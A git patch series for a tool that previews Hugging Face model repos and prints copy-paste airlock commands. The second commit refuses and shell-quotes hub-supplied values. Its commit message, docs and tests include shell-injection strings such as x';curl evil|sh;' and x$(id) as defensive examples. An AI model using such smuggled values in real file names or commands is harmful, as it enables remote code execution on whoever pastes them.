cb(null); } + readlink(path, cb) { cb(fsError('EINVAL', path)); } + chmod(p, m, cb) { cb(fsError('EACCES')); } + chown(p, u, g, cb) { cb(fsError('EACCES')); } + fchmod(fd, m, cb) { cb(fsError('EACCES')); } + fchown(fd, u, g, cb) { cb(fsError('EACCES')); } + lchown(p, u, g, cb) { cb(fsError('EACCES')); } + ftruncate(fd, l, cb) { cb(fsError('EACCES')); } + truncate(p, l, cb) { cb(fsError('EACCES')); } + link(p, l, cb) { cb(fsError('EACCES')); } + symlink(p, l, cb) { cb(fsError('EACCES')); } + mkdir(p, m, cb) { cb(fsError('EACCES')); } + rename(a, b, cb) { cb(fsError('EACCES')); } + rmdir(p, cb) { cb(fsError('EACCES')); } + unlink(p, cb) { cb(fsError('EACCES')); } + utimes(p, a, m, cb) { cb(fsError('EACCES')); } +} + +function normalize(p) { + const out = []; + for (const s of p.split('/')) { + if (s === '' || s === '.') continue; + if (s === '..') out.pop(); + else out.push(s); + } + return '/' + out.join('/'); +} +const parentOf = (abs) => normalize(abs + '/..'); +const baseOf = (abs) => abs.slice(abs.lastIndexOf('/') + 1); diff --git a/tools/socair-preview/preview.js b/tools/socair-preview/preview.js new file mode 100644 index 0000000..79f09a5 --- /dev/null +++ b/tools/socair-preview/preview.js @@ -0,0 +1,89 @@ +// Runs Socair's preview of a Hugging Face model (docs/preview.md): lists the +// repo at a full commit, mounts the files the preview reads as a filesystem +// over the hub (hffs.js), and runs the engine (cmd/socair-preview, already +// started) on it. The same code runs in a page and in Node (try.mjs). +// +// All or nothing: if any read fails, no preview is returned, because a check +// that could not read a file must never look like it did. +import { HubFS, listRepo, previewSelection } from './hffs.js'; + +/** org/name and a revision from a URL, a host path, or a bare repo id; null + * when it names none. */ +export function parseTarget(s) { + s = String(s || '').trim().replace(/^\/+/, '').replace(/^https?:\/+/, '').replace(/^(www\.)?huggingface\.co\//, '').replace(/^hf\.co\//, ''); + try { s = decodeURIComponent(s); } catch { return null; } + const m = s.match(/^([A-Za-z0-9][\w.-]*)\/([A-Za-z0-9][\w.-]*)(?:\/(?:tree|blob|resolve)\/([^/?#]+))?\/?(?:[?#].*)?$/); + if (!m || m[1].includes('..') || m[2].includes('..')) return null; + return { repo: `${m[1]}/${m[2]}`, revision: m[3] || 'main' }; +} + +/** Swaps the repo Go's runtime reads through. Go reads globalThis.fs once, + * when it starts, so the proxy stays and the hub behind it changes. */ +export function installFS() { + let current = new HubFS({ repo: 'none/none', commit: '0'.repeat(40), files: [] }); + globalThis.fs = new Proxy({}, { + get(_, key) { + const v = current[key]; + return typeof v === 'function' ? v.bind(current) : v; + } + }); + return (hub) => { current = hub; }; +} + +/** + * Previews repo at revision (gguf names the quant to read in a repo of + * GGUF quants). engine is { socairPreview, socairPreviewGGUF } + * from the started wasm; mount is installFS's result. Returns + * { listing, selection, previews, fetched, requests } or throws: a + * GatedError for a gated or private repo, an IncompleteError when a read + * failed. + */ +export async function previewRepo({ repo, revision = 'main', all = false, gguf, engine, mount, onProgress = () => {} }) { + onProgress({ phase: 'listing' }); + const listing = await listRepo(repo, revision); + const selection = all ? { include: [], kept: listing.files, left: [], ggufs: [] } : previewSelection(listing.files, { gguf }); + const hub = new HubFS({ ...listing, files: selection.kept, + onFetch: () => onProgress({ phase: 'reading', fetched: hub.fetched, requests: hub.requests }) }); + mount(hub); + const source = JSON.stringify({ hub: 'huggingface.co', repo: listing.repo, commit: listing.commit }); + const [hashes] = await Promise.all([hub.hashes(), hub.warm()]); + onProgress({ phase: 'checking', fetched: hub.fetched, requests: hub.requests }); + const previews = []; + let failed; + try { + previews.push(JSON.parse(await engine.socairPreview(hub.root, source, JSON.stringify(hashes)))); + // A GGUF's own metadata (chat template, tokenizer, quant) is read by + // a preview of the file on its own. + const gguf = selection.kept.find((f) => f.path.endsWith('.gguf')); + if (gguf) previews.push(JSON.parse(await engine.socairPreviewGGUF(`${hub.root}/${gguf.path}`, source, hashes[gguf.path]))); + } catch (e) { + failed = e; + } + if (hub.failures.length || failed) { + throw new IncompleteError(hub.failures.length ? hub.failures : [{ path: listing.repo, reason: String(failed?.message || failed) }], + { fetched: hub.fetched, requests: hub.requests }); + } + return { listing, selection, previews, fetched: hub.fetched, requests: hub.requests }; +} + +/** A preview that did not finish: no row is shown. */ +export class IncompleteError extends Error { + constructor(failures, stats) { + super(`the preview could not read ${failures.map((f) => `${f.path} (${f.reason})`).join('; ')}`); + this.failures = failures; + this.stats = stats; + } +} + +/** The airlock commands that pull, scan, and sign the same files at the same + * commit, for real. */ +export function airlockCommands(listing, selection, digest) { + const name = listing.repo.split('/')[1]; + const store = `~/.socair/store/incoming/${digest}`; + return [ + `socair airlock pull --repo ${listing.repo} --revision ${listing.commit}` + + (selection.include.length ? ` \\\n --include '${selection.include.join(',')}'` : ''), + `SOCAIR_PROVENANCE=${store}/provenance.json \\\n socair scan ${store}/${name} > report.json`, + 'socair sign --key your.key --report report.json' + ].join('\n'); +} diff --git a/tools/socair-preview/preview.test.mjs b/tools/socair-preview/preview.test.mjs new file mode 100644 index 0000000..edf65b4 --- /dev/null +++ b/tools/socair-preview/preview.test.mjs @@ -0,0 +1,117 @@ +// node --test tools/socair-preview/ +// The page's half of the preview, against a fake hub: no network. +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { createHash } from 'node:crypto'; +import { GatedError, HubFS, listRepo, previewSelection } from './hffs.js'; +import { parseTarget } from './preview.js'; + +const COMMIT = 'c0ffee12'.repeat(5); + +// A fake hub: the API answers info, every resolve URL serves body ranges. +// Every request is recorded with its headers. +function fakeHub(info, bodies = {}, status = 200) { + const seen = []; + globalThis.fetch = async (url, init = {}) => { + const headers = new Headers(init.headers || {}); + seen.push({ url: String(url), headers }); + if (String(url).includes('/api/models/')) { + return new Response(JSON.stringify(info), { status }); + } + const path = decodeURIComponent(String(url).split(`/resolve/${COMMIT}/`)[1] || ''); + const body = bodies[path]; + if (!body) return new Response('', { status: 404 }); + const m = /bytes=(\d+)-(\d+)/.exec(headers.get('range') || ''); + const [from, to] = m ? [Number(m[1]), Number(m[2]) + 1] : [0, body.length]; + return new Response(body.subarray(from, to), { status: m ? 206 : 200 }); + }; + return seen; +} + +test('a gated repo is refused before any file is read', async () => { + for (const gated of ['auto', 'manual', true]) { + const seen = fakeHub({ id: 'org/m', sha: COMMIT, gated, siblings: [{ rfilename: 'config.json', size: 2 }] }); + await assert.rejects(listRepo('org/m'), GatedError); + assert.equal(seen.filter((r) => r.url.includes('/resolve/')).length, 0); + } + for (const status of [401, 403]) { + fakeHub({}, {}, status); + await assert.rejects(listRepo('org/m'), GatedError); + } + fakeHub({ id: 'org/m', sha: COMMIT, private: true, siblings: [] }); + await assert.rejects(listRepo('org/m'), GatedError); +}); + +test('a listing names a full commit, or the preview stops', async () => { + fakeHub({ id: 'org/m', sha: 'main', siblings: [] }); + await assert.rejects(listRepo('org/m'), /no full commit/); + fakeHub({ id: 'org/m', sha: COMMIT, siblings: [] }); + assert.equal((await listRepo('org/m')).commit, COMMIT); + await assert.rejects(listRepo('org/../m'), /not an org\/name/); +}); + +test('no request carries a token', async () => { + const big = new Uint8Array(3 * 1024 * 1024).fill(7); + const seen = fakeHub( + { id: 'org/m', sha: COMMIT, siblings: [ + { rfilename: 'config.json', size: 2 }, + { rfilename: 'model.safetensors', size: big.length, lfs: { size: big.length, sha256: 'ab'.repeat(32) } }] }, + { 'config.json': new TextEncoder().encode('{}'), 'model.safetensors': big }); + const listing = await listRepo('org/m'); + const hub = new HubFS(listing); + await hub.hashes(); + await hub.bytes(hub.node(`${hub.root}/model.safetensors`), 0, 100); + assert.ok(seen.length >= 3); + for (const r of seen) assert.equal(r.headers.get('authorization'), null, r.url); + // Falsification: the recorder sees a header when one is sent. + await fetch('https://huggingface.co/x', { headers: { Authorization: 'Bearer x' } }); + assert.equal(seen.at(-1).headers.get('authorization'), 'Bearer x'); +}); + +test('hashes are stated for LFS files and computed for small ones', async () => { + const small = new TextEncoder().encode('{"a":1}'); + fakeHub({ id: 'org/m', sha: COMMIT, siblings: [ + { rfilename: 'config.json', size: small.length }, + { rfilename: 'model.safetensors', size: 1 << 22, lfs: { size: 1 << 22, sha256: 'ab'.repeat(32) } }] }, + { 'config.json': small }); + const hub = new HubFS(await listRepo('org/m')); + const h = await hub.hashes(); + assert.equal(h['model.safetensors'], 'ab'.repeat(32)); + assert.equal(h['config.json'], createHash('sha256').update(small).digest('hex')); +}); + +test('a read past the budget fails, and is recorded', async () => { + const big = new Uint8Array(4 * 1024 * 1024); + fakeHub({ id: 'org/m', sha: COMMIT, siblings: [ + { rfilename: 'model.safetensors', size: big.length, lfs: { size: big.length, sha256: 'ab'.repeat(32) } }] }, + { 'model.safetensors': big }); + const hub = new HubFS({ ...(await listRepo('org/m')), perFileBudget: 1024 }); + const buf = new Uint8Array(4096); + const err = await new Promise((resolve) => hub.open(`${hub.root}/model.safetensors`, 0, 0, (e, fd) => + hub.read(fd, buf, 0, 4096, 0, (e2) => resolve(e2)))); + assert.ok(err); + assert.equal(hub.failures.length, 1); +}); + +test('the selection keeps what the airlock pull would, one quant of a GGUF repo', () => { + const st = previewSelection([{ path: 'model.safetensors' }, { path: 'pytorch_model.bin' }, { path: 'config.json' }, { path: 'modeling.py' }]); + assert.deepEqual(st.kept.map((f) => f.path), ['model.safetensors', 'config.json', 'modeling.py']); + assert.deepEqual(st.left.map((f) => f.path), ['pytorch_model.bin']); + + const files = [{ path: 'm-Q8_0.gguf', size: 8 }, { path: 'm-Q4_K_M.gguf', size: 4 }, { path: 'm-Q2_K.gguf', size: 2 }, + { path: 'mmproj-f16.gguf', size: 1 }, { path: 'README.md', size: 1 }]; + const q = previewSelection(files); + assert.equal(q.gguf, 'm-Q4_K_M.gguf'); + assert.deepEqual(q.kept.map((f) => f.path), ['m-Q4_K_M.gguf', 'README.md']); + assert.deepEqual(q.ggufs, ['m-Q2_K.gguf', 'm-Q4_K_M.gguf', 'm-Q8_0.gguf']); + assert.equal(previewSelection(files, { gguf: 'm-Q8_0.gguf' }).gguf, 'm-Q8_0.gguf'); + assert.equal(previewSelection(files.filter((f) => !/Q4_K_M/.test(f.path))).gguf, 'm-Q2_K.gguf'); +}); + +test('a target names a repo and a revision', () => { + assert.deepEqual(parseTarget('https://huggingface.co/org/name'), { repo: 'org/name', revision: 'main' }); + assert.deepEqual(parseTarget('huggingface.co/org/name/tree/abc123'), { repo: 'org/name', revision: 'abc123' }); + assert.deepEqual(parseTarget('org/name'), { repo: 'org/name', revision: 'main' }); + assert.deepEqual(parseTarget('hf.co/org/name/'), { repo: 'org/name', revision: 'main' }); + for (const bad of ['', 'name', 'org/../x', 'https://example.com/a/b/c', '%E0%A4%A']) assert.equal(parseTarget(bad), null, bad); +}); diff --git a/tools/socair-preview/try.mjs b/tools/socair-preview/try.mjs new file mode 100644 index 0000000..81befbb --- /dev/null +++ b/tools/socair-preview/try.mjs @@ -0,0 +1,42 @@ +// Runs the preview in Node, the same code path as the page: +// node tools/socair-preview/try.mjs org/name [revision] [--all] +// after tools/socair-preview/build.sh. Prints the rows and what was read. +import { readFile } from 'node:fs/promises'; +import { pathToFileURL } from 'node:url'; +import { installFS, previewRepo, IncompleteError } from './preview.js'; +import { GatedError } from './hffs.js'; + +const args = process.argv.slice(2); +const all = args.includes('--all'); +const [repo, revision = 'main'] = args.filter((a) => !a.startsWith('--')); +if (!repo) { + console.error('usage: node try.mjs org/name [revision] [--all]'); + process.exit(2); +} +const dist = new URL('./dist/', import.meta.url); +const mount = installFS(); +await import(pathToFileURL(new URL('wasm_exec.js', dist).pathname)); +process.cwd = () => '/'; +const go = new globalThis.Go(); +const { instance } = await WebAssembly.instantiate(await readFile(new URL('socair-preview.wasm', dist)), go.importObject); +go.run(instance); + +const t0 = performance.now(); +try { + const r = await previewRepo({ repo, revision, all, mount, engine: globalThis }); + const total = r.listing.files.reduce((n, f) => n + (f.size || 0), 0); + console.log(`${r.listing.repo} at ${r.listing.commit}: ${r.listing.files.length} files, ${(total / 1e9).toFixed(2)} GB in the repo`); + if (r.selection.include.length) console.log(`selection: --include '${r.selection.include.join(',')}' keeps ${r.selection.kept.length}, leaves out ${r.selection.left.length}`); + console.log(`read ${(r.fetched / 1e6).toFixed(2)} MB in ${r.requests} requests, ${((performance.now() - t0) / 1000).toFixed(1)} s`); + for (const p of r.previews) { + if (p !== r.previews[0]) console.log(` -- ${p.model.files[0].path}, on its own:`); + for (const c of p.checks) console.log(` ${c.status.padEnd(10)} ${c.name}: ${(c.notes || '').slice(0, 140)}`); + } + console.log(r.previews[0].notice); + process.exit(0); +} catch (e) { + if (e instanceof GatedError) console.log(e.message); + else if (e instanceof IncompleteError) console.log(`PREVIEW INCOMPLETE, so no row is shown: ${e.message}`); + else console.log(`could not preview ${repo}: ${e.message || e}`); + process.exit(1); +} From 07c28a917bbdbbf1da50971f9112f7bd1e5ba4fb Mon Sep 17 00:00:00 2001 From: Christopher Maher Date: Mon, 19 Oct 2026 10:17:17 -0700 Subject: [PATCH 2/2] Show no airlock command for a hub value a shell would act on, and quote the rest The preview's copy-paste commands carry the repo id, the commit, and file names from the hub, where anyone can name a file x';curl evil|sh;'. A value outside a strict charset now gets no command and a note saying why, and every value that passes is single-quoted with a POSIX quoter. Tests cover ', ;, $(, a backtick, a newline, and a space, and check that a real shell reads each quoted value back as one word. Signed-off-by: Christopher Maher --- docs/preview.md | 10 +++++- tools/socair-preview/hffs.js | 3 +- tools/socair-preview/preview.js | 47 +++++++++++++++++++++------ tools/socair-preview/preview.test.mjs | 37 ++++++++++++++++++++- 4 files changed, 84 insertions(+), 13 deletions(-) diff --git a/docs/preview.md b/docs/preview.md index b44a32c..e6daee9 100644 --- a/docs/preview.md +++ b/docs/preview.md @@ -51,7 +51,15 @@ The preview reads the files a serving stack loads, which is the selection - **Anything else:** every file. The page prints the selection as the airlock pull's `--include`, with the -commit, so doing it for real reads the same files at the same commit. +commit, so doing it for real reads the same files at the same commit. Those +commands are meant to be pasted into a shell, and the repo id, the commit, and +the file names come from the hub, where anyone can name a file +`x';curl …|sh;'`. So a value outside a strict set of characters (letters, +digits, `.`, `_`, `-`, `/`, `*`) gets no command at all, only a note saying +why, and every value that passes is single-quoted as well +(`airlockCommands`, `shellQuote`). The page sets every value it shows from a +preview, the rows' notes included, as text, never as markup: the notes quote +the model's own files. If any read fails (the hub answers an error, or a file needs more than the preview's read budget), the preview shows no rows at all. A check that could diff --git a/tools/socair-preview/hffs.js b/tools/socair-preview/hffs.js index f852fe0..ceccff1 100644 --- a/tools/socair-preview/hffs.js +++ b/tools/socair-preview/hffs.js @@ -26,7 +26,8 @@ function fsError(code, message) { /** A repo the preview will not read: gated or private. */ export class GatedError extends Error {} -const REPO = /^[A-Za-z0-9][A-Za-z0-9._-]{0,95}\/[A-Za-z0-9][A-Za-z0-9._-]{0,95}$/; +/** A Hugging Face repo id, org/name. */ +export const REPO = /^[A-Za-z0-9][A-Za-z0-9._-]{0,95}\/[A-Za-z0-9][A-Za-z0-9._-]{0,95}$/; /** The repo's full commit and files, from the hub's API. A gated or private * repo is refused with a GatedError: the preview takes no token. */ diff --git a/tools/socair-preview/preview.js b/tools/socair-preview/preview.js index 79f09a5..ac2bdb2 100644 --- a/tools/socair-preview/preview.js +++ b/tools/socair-preview/preview.js @@ -5,7 +5,7 @@ // // All or nothing: if any read fails, no preview is returned, because a check // that could not read a file must never look like it did. -import { HubFS, listRepo, previewSelection } from './hffs.js'; +import { HubFS, REPO, listRepo, previewSelection } from './hffs.js'; /** org/name and a revision from a URL, a host path, or a bare repo id; null * when it names none. */ @@ -75,15 +75,42 @@ export class IncompleteError extends Error { } } -/** The airlock commands that pull, scan, and sign the same files at the same - * commit, for real. */ +/** A value as one POSIX shell word, in single quotes ('a\'b' becomes + * 'a'\''b'). */ +export function shellQuote(v) { + return `'${String(v).replace(/'/g, `'\\''`)}'`; +} + +// What a value in a command may be. The repo id, the commit, and the file +// names come from the hub, so anyone who can name a repo or a file there +// controls them: a value outside these is refused, never escaped past. +const COMMIT = /^[0-9a-f]{40}$/; +const DIGEST = /^[0-9a-f]{64}$/; +const PATTERN = /^[A-Za-z0-9._/*-]+$/; + +/** + * The airlock commands that pull, scan, and sign the same files at the same + * commit, for real, to copy into a shell: { commands } or, when any value is + * not one a command may hold, { refused } saying which, and no command. + * Every value is also single-quoted. + */ export function airlockCommands(listing, selection, digest) { + const bad = []; + if (!REPO.test(listing.repo || '') || listing.repo.includes('..')) bad.push('the repo id'); + if (!COMMIT.test(listing.commit || '')) bad.push('the commit'); + if (!DIGEST.test(digest || '')) bad.push('the digest'); + for (const p of selection.include) if (!PATTERN.test(p)) bad.push(`the file name ${JSON.stringify(p)}`); + if (bad.length) { + return { refused: `No command is shown: ${bad.join(', ')} holds characters a shell command must not carry. Pull this model by hand, after reading what its files are named.` }; + } const name = listing.repo.split('/')[1]; - const store = `~/.socair/store/incoming/${digest}`; - return [ - `socair airlock pull --repo ${listing.repo} --revision ${listing.commit}` + - (selection.include.length ? ` \\\n --include '${selection.include.join(',')}'` : ''), - `SOCAIR_PROVENANCE=${store}/provenance.json \\\n socair scan ${store}/${name} > report.json`, - 'socair sign --key your.key --report report.json' - ].join('\n'); + return { + commands: [ + `socair airlock pull --repo ${shellQuote(listing.repo)} --revision ${shellQuote(listing.commit)}` + + (selection.include.length ? ` \\\n --include ${shellQuote(selection.include.join(','))}` : ''), + `E="\${SOCAIR_STORE:-$HOME/.socair/store}"/incoming/${shellQuote(digest)}`, + `SOCAIR_PROVENANCE="$E/provenance.json" socair scan "$E"/${shellQuote(name)} > report.json`, + 'socair sign --key your.key --report report.json' + ].join('\n') + }; } diff --git a/tools/socair-preview/preview.test.mjs b/tools/socair-preview/preview.test.mjs index edf65b4..8d50364 100644 --- a/tools/socair-preview/preview.test.mjs +++ b/tools/socair-preview/preview.test.mjs @@ -4,7 +4,8 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; import { createHash } from 'node:crypto'; import { GatedError, HubFS, listRepo, previewSelection } from './hffs.js'; -import { parseTarget } from './preview.js'; +import { airlockCommands, parseTarget, shellQuote } from './preview.js'; +import { execFileSync } from 'node:child_process'; const COMMIT = 'c0ffee12'.repeat(5); @@ -115,3 +116,37 @@ test('a target names a repo and a revision', () => { assert.deepEqual(parseTarget('hf.co/org/name/'), { repo: 'org/name', revision: 'main' }); for (const bad of ['', 'name', 'org/../x', 'https://example.com/a/b/c', '%E0%A4%A']) assert.equal(parseTarget(bad), null, bad); }); + +// The commands are copied into a shell, and the repo id, the commit, and the +// file names come from the hub. A value outside a strict charset is refused, +// with no command; the rest are single-quoted anyway. +const okListing = { repo: 'org/m', commit: COMMIT }; +const DIGEST = 'ab'.repeat(32); + +test('a file name a shell would act on gets no command', () => { + for (const name of ["x';curl evil|sh;'.gguf", 'x;id.gguf', 'x$(id).gguf', 'x`id`.gguf', 'x\nid.gguf', 'x y.gguf']) { + const out = airlockCommands(okListing, { include: [name, '*.json'] }, DIGEST); + assert.equal(out.commands, undefined, name); + assert.match(out.refused, /No command is shown/, name); + } + for (const listing of [{ repo: "org/m';id;'", commit: COMMIT }, { repo: 'org/m', commit: 'main;id' }]) { + assert.equal(airlockCommands(listing, { include: [] }, DIGEST).commands, undefined, JSON.stringify(listing)); + } + assert.equal(airlockCommands(okListing, { include: [] }, 'x;id').commands, undefined); +}); + +test('every value in a command is single-quoted', () => { + assert.equal(shellQuote("a'b"), "'a'\\''b'"); + const { commands } = airlockCommands(okListing, { include: ['m-Q4_K_M.gguf', '*.json'] }, DIGEST); + assert.ok(commands.includes(`--repo 'org/m' --revision '${COMMIT}'`), commands); + assert.ok(commands.includes(`--include 'm-Q4_K_M.gguf,*.json'`), commands); + assert.ok(commands.includes(`/incoming/'${DIGEST}'`), commands); + assert.ok(commands.includes(`"$E"/'m'`), commands); +}); + +test('a quoted value is one word to a real shell', { skip: !process.env.PATH }, () => { + for (const v of ["x';id;'", 'x$(id)', 'x`id`', 'a b', 'x\ny', "''"]) { + const out = execFileSync('/bin/sh', ['-c', `printf %s ${shellQuote(v)}`], { encoding: 'utf8' }); + assert.equal(out, v); + } +});